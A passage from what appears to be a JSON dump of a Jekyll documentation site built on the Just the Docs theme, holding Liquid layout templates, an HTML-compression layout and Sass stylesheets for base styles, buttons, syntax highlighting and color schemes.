%}\n      {% capture headerAttrs %}{{ headerAttrs }} id=\"%html_id%\"{% endcapture %}\n    {% endif %}\n\n    <!-- Build the anchor to inject for our heading -->\n    {% capture anchor %}{% endcapture %}\n\n    {% if skip_anchor == false and html_id and headerLevel >= minHeader and headerLevel <= maxHeader %}\n      {% if headerAttrs %}\n        {% capture _hAttrToStrip %}{{ _hAttrToStrip | split: '>' | first }} {{ headerAttrs | replace: '%heading%', escaped_header | replace: '%html_id%', html_id }}>{% endcapture %}\n      {% endif %}\n\n      {% capture anchor %}href=\"#{{ html_id }}\"{% endcapture %}\n\n      {% if include.anchorClass %}\n        {% capture anchor %}{{ anchor }} class=\"{{ include.anchorClass }}\"{% endcapture %}\n      {% endif %}\n\n      {% if include.anchorTitle %}\n        {% capture anchor %}{{ anchor }} title=\"{{ include.anchorTitle | replace: '%heading%', escaped_header }}\"{% endcapture %}\n      {% endif %}\n\n      {% if include.anchorAttrs %}\n        {% capture anchor %}{{ anchor }} {{ include.anchorAttrs | replace: '%heading%', escaped_header | replace: '%html_id%', html_id }}{% endcapture %}\n      {% endif %}\n\n      {% capture anchor %}<a {{ anchor }}>{{ include.anchorBody | replace: '%heading%', escaped_header | default: '' }}</a>{% endcapture %}\n\n      <!-- In order to prevent adding extra space after a heading, we'll let the 'anchor' value contain it -->\n      {% if beforeHeading %}\n        {% capture anchor %}{{ anchor }} {% endcapture %}\n      {% else %}\n        {% capture anchor %} {{ anchor }}{% endcapture %}\n      {% endif %}\n    {% endif %}\n\n    {% capture new_heading %}\n<h{{ _hAttrToStrip }}\n  {{ include.bodyPrefix }}\n  {% if beforeHeading %}\n    {{ anchor }}{{ header }}\n  {% else %}\n    {{ header }}{{ anchor }}\n  {% endif %}\n  {{ include.bodySuffix }}\n</h{{ headerLevel }}>\n    {% endcapture %}\n\n    <!--\n    If we have content after the `</hX>` tag, then we'll want to append that here so we don't lost any content.\n    -->\n    {% assign chunkCount = _workspace | size %}\n    {% if chunkCount > 1 %}\n      {% capture new_heading %}{{ new_heading }}{{ _workspace | last }}{% endcapture %}\n    {% endif %}\n\n    {% capture edited_headings %}{{ edited_headings }}{{ new_heading }}{% endcapture %}\n  {% endfor %}\n{% endcapture %}{% assign headingsWorkspace = '' %}{{ edited_headings | strip }}\n"
  },
  {
    "path": "_layouts/about.html",
    "content": "---\nlayout: default\n---\n\n{{ content }}\n"
  },
  {
    "path": "_layouts/default.html",
    "content": "---\nlayout: table_wrappers\n---\n\n<!DOCTYPE html>\n\n<html lang=\"{{ site.lang | default: 'en-US' }}\">\n{% include head.html %}\n<body>\n  \n  \n\n  \n  <a class=\"skip-to-main\" href=\"#main-content\">Skip to main content</a>\n  {% include icons/icons.html %}\n  {% include components/sidebar.html %}\n  <div class=\"main\" id=\"top\">\n    {% include components/header.html %}\n    <div id=\"main-content-wrap\" class=\"main-content-wrap\">\n      {% include components/breadcrumbs.html %}\n      <div id=\"main-content\" class=\"main-content\" role=\"main\">\n        {% if site.heading_anchors != false %}\n          {% include vendor/anchor_headings.html html=content beforeHeading=\"true\" anchorBody=\"<svg viewBox=\\\"0 0 16 16\\\" aria-hidden=\\\"true\\\"><use xlink:href=\\\"#svg-link\\\"></use></svg>\" anchorClass=\"anchor-heading\" anchorAttrs=\"aria-labelledby=\\\"%html_id%\\\"\" %}\n        {% else %}\n          {{ content }}\n        {% endif %}\n\n        {% if page.has_children == true and page.has_toc != false %}\n          {% include components/children_nav.html toc_list=toc_list %}\n        {% endif %}\n\n        {% include components/footer.html %}\n\n      </div>\n    </div>\n    {% if site.search_enabled != false %}\n      {% include components/search_footer.html %}\n    {% endif %}\n  </div>\n\n  {% if site.mermaid %}\n    {% include components/mermaid.html %}\n  {% endif %}\n</body>\n</html>\n"
  },
  {
    "path": "_layouts/home.html",
    "content": "---\nlayout: default\n---\n\n{{ content }}\n"
  },
  {
    "path": "_layouts/minimal.html",
    "content": "---\nlayout: table_wrappers\n---\n\n<!DOCTYPE html>\n\n<html lang=\"{{ site.lang | default: 'en-US' }}\">\n{% include head.html %}\n<body>\n  <a class=\"skip-to-main\" href=\"#main-content\">Skip to main content</a>\n  {% include icons/icons.html %}\n  {% comment %}\n    This is a bandaid fix to properly render breadcrumbs; as of now, there is some variable leakage between the sidebar component (which computes parents, grandparents) and the breadcrumbs component. We plan to remove this in a future release to deduplicate code.\n\n    For more context, see https://github.com/just-the-docs/just-the-docs/pull/1058#discussion_r1057014053\n  {% endcomment %}\n  {% capture nav %}\n    {% assign pages_top_size = site.html_pages\n          | where_exp:\"item\", \"item.title != nil\"\n          | where_exp:\"item\", \"item.parent == nil\"\n          | where_exp:\"item\", \"item.nav_exclude != true\"\n          | size %}\n    {% if pages_top_size > 0 %}\n      {% include nav.html pages=site.html_pages key=nil %}\n    {% endif %}\n    {% if site.just_the_docs.collections %}\n      {% assign collections_size = site.just_the_docs.collections | size %}\n      {% for collection_entry in site.just_the_docs.collections %}\n        {% assign collection_key = collection_entry[0] %}\n        {% assign collection_value = collection_entry[1] %}\n        {% assign collection = site[collection_key] %}\n        {% if collection_value.nav_exclude != true %}\n          {% include nav.html pages=collection key=collection_key %}\n        {% endif %}\n      {% endfor %}\n    {% endif %}\n  {% endcapture %}\n  <div id=\"main-content-wrap\" class=\"main-content-wrap\" id=\"top\">\n    {% include components/breadcrumbs.html %}\n    <div id=\"main-content\" class=\"main-content\" role=\"main\">\n      {% if site.heading_anchors != false %}\n        {% include vendor/anchor_headings.html html=content beforeHeading=\"true\" anchorBody=\"<svg viewBox=\\\"0 0 16 16\\\" aria-hidden=\\\"true\\\"><use xlink:href=\\\"#svg-link\\\"></use></svg>\" anchorClass=\"anchor-heading\" anchorAttrs=\"aria-labelledby=\\\"%html_id%\\\"\" %}\n      {% else %}\n        {{ content }}\n      {% endif %}\n\n      {% if page.has_children == true and page.has_toc != false %}\n        {% include components/children_nav.html toc_list=toc_list %}\n      {% endif %}\n\n      {% include components/footer.html %}\n\n    </div>\n  </div>\n\n  {% if site.mermaid %}\n    {% include components/mermaid.html %}\n  {% endif %}\n</body>\n</html>\n"
  },
  {
    "path": "_layouts/page.html",
    "content": "---\nlayout: default\n---\n\n{{ content }}\n"
  },
  {
    "path": "_layouts/post.html",
    "content": "---\nlayout: default\n---\n\n{{ content }}\n"
  },
  {
    "path": "_layouts/table_wrappers.html",
    "content": "---\nlayout: vendor/compress\n---\n\n{% assign content_ = content | replace: '<table', '<div class=\"table-wrapper\"><table' %}\n{% assign content_ = content_ | replace: '</table>', '</table></div>' %}\n{{ content_ }}\n"
  },
  {
    "path": "_layouts/vendor/compress.html",
    "content": "---\n# Jekyll layout that compresses HTML\n# v3.1.0\n# http://jch.penibelst.de/\n# © 2014–2015 Anatol Broder\n# MIT License\n---\n\n{% capture _LINE_FEED %}\n{% endcapture %}{% if site.compress_html.ignore.envs contains jekyll.environment or site.compress_html.ignore.envs == \"all\" %}{{ content }}{% else %}{% capture _content %}{{ content }}{% endcapture %}{% assign _profile = site.compress_html.profile %}{% if site.compress_html.endings == \"all\" %}{% assign _endings = \"html head body li dt dd optgroup option colgroup caption thead tbody tfoot tr td th\" | split: \" \" %}{% else %}{% assign _endings = site.compress_html.endings %}{% endif %}{% for _element in _endings %}{% capture _end %}</{{ _element }}>{% endcapture %}{% assign _content = _content | remove: _end %}{% endfor %}{% if _profile and _endings %}{% assign _profile_endings = _content | size | plus: 1 %}{% endif %}{% for _element in site.compress_html.startings %}{% capture _start %}<{{ _element }}>{% endcapture %}{% assign _content = _content | remove: _start %}{% endfor %}{% if _profile and site.compress_html.startings %}{% assign _profile_startings = _content | size | plus: 1 %}{% endif %}{% if site.compress_html.comments == \"all\" %}{% assign _comments = \"<!-- -->\" | split: \" \" %}{% else %}{% assign _comments = site.compress_html.comments %}{% endif %}{% if _comments.size == 2 %}{% capture _comment_befores %}.{{ _content }}{% endcapture %}{% assign _comment_befores = _comment_befores | split: _comments.first %}{% for _comment_before in _comment_befores %}{% if forloop.first %}{% continue %}{% endif %}{% capture _comment_outside %}{% if _carry %}{{ _comments.first }}{% endif %}{{ _comment_before }}{% endcapture %}{% capture _comment %}{% unless _carry %}{{ _comments.first }}{% endunless %}{{ _comment_outside | split: _comments.last | first }}{% if _comment_outside contains _comments.last %}{{ _comments.last }}{% assign _carry = false %}{% else %}{% assign _carry = true %}{% endif %}{% endcapture %}{% assign _content = _content | remove_first: _comment %}{% endfor %}{% if _profile %}{% assign _profile_comments = _content | size | plus: 1 %}{% endif %}{% endif %}{% assign _pre_befores = _content | split: \"<pre\" %}{% assign _content = \"\" %}{% for _pre_before in _pre_befores %}{% assign _pres = _pre_before | split: \"</pre>\" %}{% assign _pres_after = \"\" %}{% if _pres.size != 0 %}{% if site.compress_html.blanklines %}{% assign _lines = _pres.last | split: _LINE_FEED %}{% capture _pres_after %}{% for _line in _lines %}{% assign _trimmed = _line | split: \" \" | join: \" \" %}{% if _trimmed != empty or forloop.last %}{% unless forloop.first %}{{ _LINE_FEED }}{% endunless %}{{ _line }}{% endif %}{% endfor %}{% endcapture %}{% else %}{% assign _pres_after = _pres.last | split: \" \" | join: \" \" %}{% endif %}{% endif %}{% capture _content %}{{ _content }}{% if _pre_before contains \"</pre>\" %}<pre{{ _pres.first }}</pre>{% endif %}{% unless _pre_before contains \"</pre>\" and _pres.size == 1 %}{{ _pres_after }}{% endunless %}{% endcapture %}{% endfor %}{% if _profile %}{% assign _profile_collapse = _content | size | plus: 1 %}{% endif %}{% if site.compress_html.clippings == \"all\" %}{% assign _clippings = \"html head title base link meta style body article section nav aside h1 h2 h3 h4 h5 h6 hgroup header footer address p hr blockquote ol ul li dl dt dd figure figcaption main div table caption colgroup col tbody thead tfoot tr td th\" | split: \" \" %}{% else %}{% assign _clippings = site.compress_html.clippings %}{% endif %}{% for _element in _clippings %}{% assign _edges = \" <e;<e; </e>;</e>;</e> ;</e>\" | replace: \"e\", _element | split: \";\" %}{% assign _content = _content | replace: _edges[0], _edges[1] | replace: _edges[2], _edges[3] | replace: _edges[4], _edges[5] %}{% endfor %}{% if _profile and _clippings %}{% assign _profile_clippings = _content | size | plus: 1 %}{% endif %}{{ _content }}{% if _profile %} <table id=\"compress_html_profile_{{ site.time | date: \"%Y%m%d\" }}\" class=\"compress_html_profile\"> <thead> <tr> <td>Step <td>Bytes <tbody> <tr> <td>raw <td>{{ content | size }}{% if _profile_endings %} <tr> <td>endings <td>{{ _profile_endings }}{% endif %}{% if _profile_startings %} <tr> <td>startings <td>{{ _profile_startings }}{% endif %}{% if _profile_comments %} <tr> <td>comments <td>{{ _profile_comments }}{% endif %}{% if _profile_collapse %} <tr> <td>collapse <td>{{ _profile_collapse }}{% endif %}{% if _profile_clippings %} <tr> <td>clippings <td>{{ _profile_clippings }}{% endif %} </table>{% endif %}{% endif %}\n"
  },
  {
    "path": "_sass/base.scss",
    "content": "// Base element style overrides\n// stylelint-disable selector-no-type, selector-max-type, selector-max-specificity, selector-max-id\n\n* {\n  box-sizing: border-box;\n}\n\nhtml {\n  @include fs-4;\n\n  scroll-behavior: smooth;\n}\n\nbody {\n  font-family: $body-font-family;\n  font-size: inherit;\n  line-height: $body-line-height;\n  color: $body-text-color;\n  /*background-color: #1b1a1c;*/\n  background-color: #ffffff;\n  overflow-wrap: break-word;\n}\n\nol,\nul,\ndl,\npre,\naddress,\nblockquote,\ntable,\ndiv,\nhr,\nform,\nfieldset,\nnoscript .table-wrapper {\n  margin-top: 0;\n}\n\nh1,\nh2,\nh3,\nh4,\nh5,\nh6,\n#toctitle {\n  margin-top: 0;\n  margin-bottom: 1em;\n  font-weight: 500;\n  line-height: $body-heading-line-height;\n  color: $body-heading-color;\n}\n\np {\n  margin-top: 1em;\n  margin-bottom: 1em;\n}\n\na {\n  color: $link-color;\n  text-decoration: none;\n}\n\na:not([class]) {\n  text-decoration: underline;\n  text-decoration-color: $border-color;\n  text-underline-offset: 2px;\n\n  &:hover {\n    text-decoration-color: rgba($link-color, 0.45);\n  }\n}\n\ncode {\n  font-family: $mono-font-family;\n  font-size: 0.75em;\n  line-height: $body-line-height;\n}\n\nfigure,\npre {\n  margin: 0;\n}\n\nli {\n  margin: 0.25em 0;\n}\n\nimg {\n  max-width: 100%;\n  height: auto;\n}\n\nhr {\n  height: 1px;\n  padding: 0;\n  margin: $sp-6 0;\n  background-color: $border-color;\n  border: 0;\n}\n\n// adds a GitHub-style sidebar to blockquotes\nblockquote {\n  margin: 10px 0;\n\n  // resets user-agent stylesheets for blockquotes\n  margin-block-start: 0;\n  margin-inline-start: 0;\n  padding-left: 15px;\n  border-left: 3px solid $border-color;\n}\n"
  },
  {
    "path": "_sass/buttons.scss",
    "content": "// Buttons and things that look like buttons\n// stylelint-disable color-named\n\n.btn {\n  display: inline-block;\n  box-sizing: border-box;\n  padding: 0.3em 1em;\n  margin: 0;\n  font-family: inherit;\n  font-size: inherit;\n  font-weight: 500;\n  line-height: 1.5;\n  color: $link-color;\n  text-decoration: none;\n  vertical-align: baseline;\n  cursor: pointer;\n  background-color: $base-button-color;\n  border-width: 0;\n  border-radius: $border-radius;\n  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08);\n  appearance: none;\n\n  &:focus {\n    text-decoration: none;\n    outline: none;\n    box-shadow: 0 0 0 3px rgba(blue, 0.25);\n  }\n\n  &:focus:hover,\n  &.selected:focus {\n    box-shadow: 0 0 0 3px rgba(blue, 0.25);\n  }\n\n  &:hover,\n  &.zeroclipboard-is-hover {\n    color: darken($link-color, 2%);\n  }\n\n  &:hover,\n  &:active,\n  &.zeroclipboard-is-hover,\n  &.zeroclipboard-is-active {\n    text-decoration: none;\n    background-color: darken($base-button-color, 1%);\n  }\n\n  &:active,\n  &.selected,\n  &.zeroclipboard-is-active {\n    background-color: darken($base-button-color, 3%);\n    background-image: none;\n    box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15);\n  }\n\n  &.selected:hover {\n    background-color: darken(#dcdcdc, 5%);\n  }\n\n  &:disabled,\n  &.disabled {\n    &,\n    &:hover {\n      color: rgba(102, 102, 102, 0.5);\n      cursor: default;\n      background-color: rgba(229, 229, 229, 0.5);\n      background-image: none;\n      box-shadow: none;\n    }\n  }\n}\n\n.btn-outline {\n  color: $link-color;\n  background: transparent;\n  box-shadow: inset 0 0 0 2px $grey-lt-300;\n\n  &:hover,\n  &:active,\n  &.zeroclipboard-is-hover,\n  &.zeroclipboard-is-active {\n    color: darken($link-color, 4%);\n    text-decoration: none;\n    background-color: transparent;\n    box-shadow: inset 0 0 0 3px $grey-lt-300;\n  }\n\n  &:focus {\n    text-decoration: none;\n    outline: none;\n    box-shadow: inset 0 0 0 2px $grey-dk-100, 0 0 0 3px rgba(blue, 0.25);\n  }\n\n  &:focus:hover,\n  &.selected:focus {\n    box-shadow: inset 0 0 0 2px $grey-dk-100;\n  }\n}\n\n.btn-primary {\n  @include btn-color($white, $btn-primary-color);\n}\n\n.btn-purple {\n  @include btn-color($white, $purple-100);\n}\n\n.btn-blue {\n  @include btn-color($white, $blue-000);\n}\n\n.btn-green {\n  @include btn-color($white, $green-100);\n}\n"
  },
  {
    "path": "_sass/code.scss",
    "content": "// Code and syntax highlighting\n// stylelint-disable selector-no-qualifying-type, declaration-block-semicolon-newline-after,declaration-block-single-line-max-declarations, selector-no-type, selector-max-type, scss/comment-no-empty\n\n// {% raw %}\n\n// This instruction applies to all queues not within 'pre' or 'figure', avoiding 'code' generated by the highlight.\n:not(pre, figure) {\n  & > code {\n    padding: 0.2em 0.15em;\n    font-weight: 400;\n    background-color: $code-background-color;\n    border: $border $border-color;\n    border-radius: $border-radius;\n  }\n}\n\n// Avoid appearance of dark border around visited code links in Safari\na:visited code {\n  border-color: $border-color;\n}\n\n// Content structure for highlighted code blocks using fences or Liquid\n//\n// ```[LANG]...```, no kramdown line_numbers:\n//   div.[language-LANG.]highlighter-rouge > div.highlight > pre.highlight > code\n//\n// ```[LANG]...```, kramdown line_numbers = true:\n//   div.[language-LANG.]highlighter-rouge > div.highlight > pre.highlight > code\n//   > div.table-wrapper > table.rouge-table > tbody > tr\n//   > td.rouge-gutter.gl > pre.lineno\n//   | td.rouge-code > pre\n//\n// {% highlight LANG %}...{% endhighlight %}:\n//   figure.highlight > pre > code.language-LANG\n//\n// {% highlight LANG linenos %}...{% endhighlight %}:\n//   figure.highlight > pre > code.language-LANG\n//   > div.table-wrapper > table.rouge-table > tbody > tr\n//   > td.gutter.gl > pre.lineno\n//   | td.code > pre\n//\n// ----...---- (AsciiDoc)\n//   div.listingblock > div.content > pre.rouge.highlight\n//\n// fix_linenos removes the outermost pre when it encloses table.rouge-table\n//\n// See docs/index-test.md for some tests.\n//\n// No kramdown line_numbers: fences and Liquid highlighting look the same.\n// Kramdown line_numbers = true: fences have a wider gutter than with Liquid?\n\n// ```[LANG]...```\n// or in AsciiDoc:\n//\n//     ----\n//     ...\n//     ----\n\n// the code may appear with 3 different types:\n// container \\ case:  default case,          code with line number,   code with html rendering\n// top level:         div.highlighter-rouge, figure.highlight,        figure.highlight\n// second level:      div.highlight,         div.table-wrapper,       pre.highlight\n// third level:       pre.highlight,         td.code,                 absent\n// last level:        code,                  pre,                     code (optionality)\n// highlighter level: span,                  span,                    span\n// the spacing are only in the second level for case 1, 3 and in the third level for case 2\n// in AsciiDoc, there is a parent container that contains optionally a title and the content.\n\n// select top level container\ndiv.highlighter-rouge,\ndiv.listingblock > div.content,\nfigure.highlight {\n  margin-top: 0;\n  margin-bottom: $sp-3;\n  background-color: $code-background-color;\n  border-radius: $border-radius;\n  box-shadow: none;\n  -webkit-overflow-scrolling: touch;\n  position: relative;\n  padding: 0;\n\n  // copy button (or other button)\n  // the button appear only when there is a hover on the code or focus on button\n  > button {\n    width: $sp-3;\n    opacity: 0;\n    position: absolute;\n    top: 0;\n    right: 0;\n    border: $sp-3 solid $code-background-color;\n    background-color: $code-background-color;\n    color: $body-text-color;\n    box-sizing: content-box;\n\n    svg {\n      fill: $body-text-color;\n    }\n\n    &:active {\n      text-decoration: none;\n      outline: none;\n      opacity: 1;\n    }\n\n    &:focus {\n      opacity: 1;\n    }\n  }\n\n  // the button can be seen by doing a simple hover in the code, there is no need to go over the location of the button\n  &:hover {\n    > button {\n      cursor: copy;\n      opacity: 1;\n    }\n  }\n}\n\n// setting the spacing and scrollbar on the second level for the first case\n// remove all space on the second and third level\n// this is a mixin to accommodate for the slightly different structures generated via Markdown vs AsciiDoc\n@mixin scroll-and-spacing($code-div, $pre-select) {\n  #{$code-div} {\n    overflow-x: auto;\n    padding: $sp-3;\n    margin: 0;\n    border: 0;\n  }\n\n  #{$pre-select},\n  code {\n    padding: 0;\n    margin: 0;\n    border: 0;\n  }\n}\n\n// for Markdown\ndiv.highlighter-rouge {\n  @include scroll-and-spacing(\"div.highlight\", \"pre.highlight\");\n}\n\n// for AsciiDoc. we also need to fix the margins for its parent container.\ndiv.listingblock {\n  @include scroll-and-spacing(\"div.content\", \"div.content > pre\");\n\n  margin-top: 0;\n  margin-bottom: $sp-3;\n}\n\n// {% highlight LANG %}...{% endhighlight %},\n// {% highlight LANG linenos %}...{% endhighlight %}:\n\n// setting the spacing and scrollbar on the second level for the thirt case\n// the css rule are apply only to the last code enviroment\n// setting the scroolbar\nfigure.highlight {\n  pre,\n  :not(pre) > code {\n    overflow-x: auto;\n    padding: $sp-3;\n    margin: 0;\n    border: 0;\n  }\n}\n\n// ```[LANG]...```, kramdown line_numbers = true,\n// {% highlight LANG linenos %}...{% endhighlight %}:\n\n// setting the spacing and scrollbar on the thirt level for the second case\n.highlight .table-wrapper {\n  padding: $sp-3 0;\n  margin: 0;\n  border: 0;\n  box-shadow: none;\n\n  td,\n  pre {\n    @include fs-2;\n\n    min-width: 0;\n    padding: 0;\n    background-color: $code-background-color;\n    border: 0;\n  }\n\n  td.gl {\n    width: 1em;\n    padding-right: $sp-3;\n    padding-left: $sp-3;\n  }\n\n  pre {\n    margin: 0;\n    line-height: 2;\n  }\n}\n\n// Code examples: html render of a code\n.code-example,\n.listingblock > .title {\n  padding: $sp-3;\n  margin-bottom: $sp-3;\n  overflow: auto;\n  border: 1px solid $border-color;\n  border-radius: $border-radius;\n\n  + .highlighter-rouge,\n  + .sectionbody .listingblock,\n  + .content,\n  + figure.highlight {\n    position: relative;\n    margin-top: -$sp-4;\n    border-right: 1px solid $border-color;\n    border-bottom: 1px solid $border-color;\n    border-left: 1px solid $border-color;\n    border-top-left-radius: 0;\n    border-top-right-radius: 0;\n  }\n}\n\n// Mermaid diagram code blocks should be left unstyled.\ncode.language-mermaid {\n  padding: 0;\n  background-color: inherit;\n  border: 0;\n}\n\n// Override OneDarkJekyll Colors for Code Blocks\n.highlight,\npre.highlight {\n  background: $code-background-color; // Code Background\n  // For Backwards Compatibility Before $code-linenumber-color was added\n  @if variable-exists(code-linenumber-color) {\n    color: $code-linenumber-color; // Code Line Numbers\n  } @else {\n    color: $body-text-color; // Code Line Numbers\n  }\n}\n\n// Override OneDarkJekyll Colors for Code Blocks\n.highlight pre {\n  background: $code-background-color; // Code Background\n}\n\n// {% endraw %}\n"
  },
  {
    "path": "_sass/color_schemes/dark.scss",
    "content": "$body-background-color: $grey-dk-300;\n$body-heading-color: $grey-lt-000;\n$body-text-color: $grey-lt-300;\n$link-color: $blue-000;\n$nav-child-link-color: $grey-dk-000;\n$sidebar-color: $grey-dk-300;\n$base-button-color: $grey-dk-250;\n$btn-primary-color: $blue-200;\n$code-background-color: #31343f; // OneDarkJekyll default for syntax-one-dark-vivid\n$code-linenumber-color: #dee2f7; // OneDarkJekyll .nf for syntax-one-dark-vivid\n$feedback-color: darken($sidebar-color, 3%);\n$table-background-color: $grey-dk-250;\n$search-background-color: $grey-dk-250;\n$search-result-preview-color: $grey-dk-000;\n$border-color: $grey-dk-200;\n\n@import \"./vendor/OneDarkJekyll/syntax\"; // this is the one-dark-vivid atom syntax theme\n"
  },
  {
    "path": "_sass/color_schemes/legacy_light.scss",
    "content": "// Moved from _sass/code.scss\n\n.highlight .c {\n  color: #586e75;\n} // comment //\n.highlight .err {\n  color: #93a1a1;\n} // error //\n.highlight .g {\n  color: #93a1a1;\n} // generic //\n.highlight .k {\n  color: #859900;\n} // keyword //\n.highlight .l {\n  color: #93a1a1;\n} // literal //\n.highlight .n {\n  color: #93a1a1;\n} // name //\n.highlight .o {\n  color: #859900;\n} // operator //\n.highlight .x {\n  color: #cb4b16;\n} // other //\n.highlight .p {\n  color: #93a1a1;\n} // punctuation //\n.highlight .cm {\n  color: #586e75;\n} // comment.multiline //\n.highlight .cp {\n  color: #859900;\n} // comment.preproc //\n.highlight .c1 {\n  color: #586e75;\n} // comment.single //\n.highlight .cs {\n  color: #859900;\n} // comment.special //\n.highlight .gd {\n  color: #2aa198;\n} // generic.deleted //\n.highlight .ge {\n  font-style: italic;\n  color: #93a1a1;\n} // generic.emph //\n.highlight .gr {\n  color: #dc322f;\n} // generic.error //\n.highlight .gh {\n  color: #cb4b16;\n} // generic.heading //\n.highlight .gi {\n  color: #859900;\n} // generic.inserted //\n.highlight .go {\n  color: #93a1a1;\n} // generic.output //\n.highlight .gp {\n  color: #93a1a1;\n} // generic.prompt //\n.highlight .gs {\n  font-weight: bold;\n  color: #93a1a1;\n} // generic.strong //\n.highlight .gu {\n  color: #cb4b16;\n} // generic.subheading //\n.highlight .gt {\n  color: #93a1a1;\n} // generic.traceback //\n.highlight .kc {\n  color: #cb4b16;\n} // keyword.constant //\n.highlight .kd {\n  color: #268bd2;\n} // keyword.declaration //\n.highlight .kn {\n  color: #859900;\n} // keyword.namespace //\n.highlight .kp {\n  color: #859900;\n} // keyword.pseudo //\n.highlight .kr {\n  color: #268bd2;\n} // keyword.reserved //\n.highlight .kt {\n  color: #dc322f;\n} // keyword.type //\n.highlight .ld {\n  color: #93a1a1;\n} // literal.date //\n.highlight .m {\n  color: #2aa198;\n} // literal.number //\n.highlight .s {\n  color: #2aa198;\n} // literal.string //\n.highlight .na {\n  color: #555;\n} // name.attribute //\n.highlight .nb {\n  color: #b58900;\n} // name.builtin //\n.highlight .nc {\n  color: #268bd2;\n} // name.class //\n.highlight .no {\n  color: #cb4b16;\n} // name.constant //\n.highlight .nd {\n  color: #268bd2;\n} // name.decorator //\n.highlight .ni {\n  color: #cb4b16;\n} // name.entity //\n.highlight .ne {\n  color: #cb4b16;\n} // name.exception //\n.highlight .nf {\n  color: #268bd2;\n} // name.function //\n.highlight .nl {\n  color: #555;\n} // name.label //\n.highlight .nn {\n  color: #93a1a1;\n} // name.namespace //\n.highlight .nx {\n  color: #555;\n} // name.other //\n.highlight .py {\n  color: #93a1a1;\n} // name.property //\n.highlight .nt {\n  color: #268bd2;\n} // name.tag //\n.highlight .nv {\n  color: #268bd2;\n} // name.variable //\n.highlight .ow {\n  color: #859900;\n} // operator.word //\n.highlight .w {\n  color: #93a1a1;\n} // text.whitespace //\n.highlight .mf {\n  color: #2aa198;\n} // literal.number.float //\n.highlight .mh {\n  color: #2aa198;\n} // literal.number.hex //\n.highlight .mi {\n  color: #2aa198;\n} // literal.number.integer //\n.highlight .mo {\n  color: #2aa198;\n} // literal.number.oct //\n.highlight .sb {\n  color: #586e75;\n} // literal.string.backtick //\n.highlight .sc {\n  color: #2aa198;\n} // literal.string.char //\n.highlight .sd {\n  color: #93a1a1;\n} // literal.string.doc //\n.highlight .s2 {\n  color: #2aa198;\n} // literal.string.double //\n.highlight .se {\n  color: #cb4b16;\n} // literal.string.escape //\n.highlight .sh {\n  color: #93a1a1;\n} // literal.string.heredoc //\n.highlight .si {\n  color: #2aa198;\n} // literal.string.interpol //\n.highlight .sx {\n  color: #2aa198;\n} // literal.string.other //\n.highlight .sr {\n  color: #dc322f;\n} // literal.string.regex //\n.highlight .s1 {\n  color: #2aa198;\n} // literal.string.single //\n.highlight .ss {\n  color: #2aa198;\n} // literal.string.symbol //\n.highlight .bp {\n  color: #268bd2;\n} // name.builtin.pseudo //\n.highlight .vc {\n  color: #268bd2;\n} // name.variable.class //\n.highlight .vg {\n  color: #268bd2;\n} // name.variable.global //\n.highlight .vi {\n  color: #268bd2;\n} // name.variable.instance //\n.highlight .il {\n  color: #2aa198;\n} // literal.number.integer.long //\n"
  },
  {
    "path": "_sass/color_schemes/light.scss",
    "content": "$body-background-color: $white !default;\n$body-heading-color: $grey-dk-300 !default;\n$body-text-color: $grey-dk-100 !default;\n$link-color: $purple-000 !default;\n$nav-child-link-color: $grey-dk-100 !default;\n$sidebar-color: $grey-lt-000 !default;\n$base-button-color: #f7f7f7 !default;\n$btn-primary-color: $purple-100 !default;\n$code-background-color: $grey-lt-000 !default;\n$feedback-color: darken($sidebar-color, 3%) !default;\n$table-background-color: $white !default;\n$search-background-color: $white !default;\n$search-result-preview-color: $grey-dk-000 !default;\n\n@import \"./vendor/OneLightJekyll/syntax\";\n"
  },
  {
    "path": "_sass/content.scss",
    "content": "@charset \"UTF-8\";\n\n// Styles for rendered markdown in the .main-content container\n// stylelint-disable selector-no-type, max-nesting-depth, selector-max-compound-selectors, selector-max-type, selector-max-specificity, selector-max-id\n\n.main-content {\n  line-height: $content-line-height;\n\n  ol,\n  ul,\n  dl,\n  pre,\n  address,\n  blockquote,\n  .table-wrapper {\n    margin-top: 0.5em;\n  }\n\n  a {\n    overflow: hidden;\n    text-overflow: ellipsis;\n  }\n\n  ul,\n  ol {\n    padding-left: 1.5em;\n  }\n\n  li {\n    .highlight {\n      margin-top: $sp-1;\n    }\n  }\n\n  ol {\n    list-style-type: none;\n    counter-reset: step-counter;\n\n    > li {\n      position: relative;\n\n      &::before {\n        position: absolute;\n        top: 0.2em;\n        left: -1.6em;\n        color: $grey-dk-000;\n        content: counter(step-counter);\n        counter-increment: step-counter;\n        @include fs-3;\n\n        @include mq(sm) {\n          top: 0.11em;\n        }\n      }\n\n      ol {\n        counter-reset: sub-counter;\n\n        > li {\n          &::before {\n            content: counter(sub-counter, lower-alpha);\n            counter-increment: sub-counter;\n          }\n        }\n      }\n    }\n  }\n\n  ul {\n    list-style: none;\n\n    > li {\n      &::before {\n        position: absolute;\n        margin-left: -1.4em;\n        color: $grey-dk-000;\n        content: \"•\";\n      }\n    }\n  }\n\n  .task-list-item {\n    &::before {\n      content: \"\";\n    }\n  }\n\n  .task-list-item-checkbox {\n    margin-right: 0.6em;\n    margin-left: -1.4em;\n\n    // The same margin-left is used above for ul > li::before\n  }\n\n  hr + * {\n    margin-top: 0;\n  }\n\n  h1:first-of-type {\n    margin-top: 0.5em;\n  }\n\n  dl {\n    display: grid;\n    grid-template: auto / 10em 1fr;\n  }\n\n  dt,\n  dd {\n    margin: 0.25em 0;\n  }\n\n  dt {\n    grid-column: 1;\n    font-weight: 500;\n    text-align: right;\n\n    &::after {\n      content: \":\";\n    }\n  }\n\n  dd {\n    grid-column: 2;\n    margin-bottom: 0;\n    margin-left: 1em;\n\n    blockquote,\n    div,\n    dl,\n    dt,\n    h1,\n    h2,\n    h3,\n    h4,\n    h5,\n    h6,\n    li,\n    ol,\n    p,\n    pre,\n    table,\n    ul,\n    .table-wrapper {\n      &:first-child {\n        margin-top: 0;\n      }\n    }\n  }\n\n  dd,\n  ol,\n  ul {\n    dl:first-child {\n      dt:first-child,\n      dd:nth-child(2) {\n        margin-top: 0;\n      }\n    }\n  }\n\n  .anchor-heading {\n    position: absolute;\n    right: -$sp-4;\n    width: $sp-5;\n    height: 100%;\n    padding-right: $sp-1;\n    padding-left: $sp-1;\n    overflow: visible;\n\n    @include mq(md) {\n      right: auto;\n      left: -$sp-5;\n    }\n\n    svg {\n      display: inline-block;\n      width: 100%;\n      height: 100%;\n      color: $link-color;\n      visibility: hidden;\n    }\n  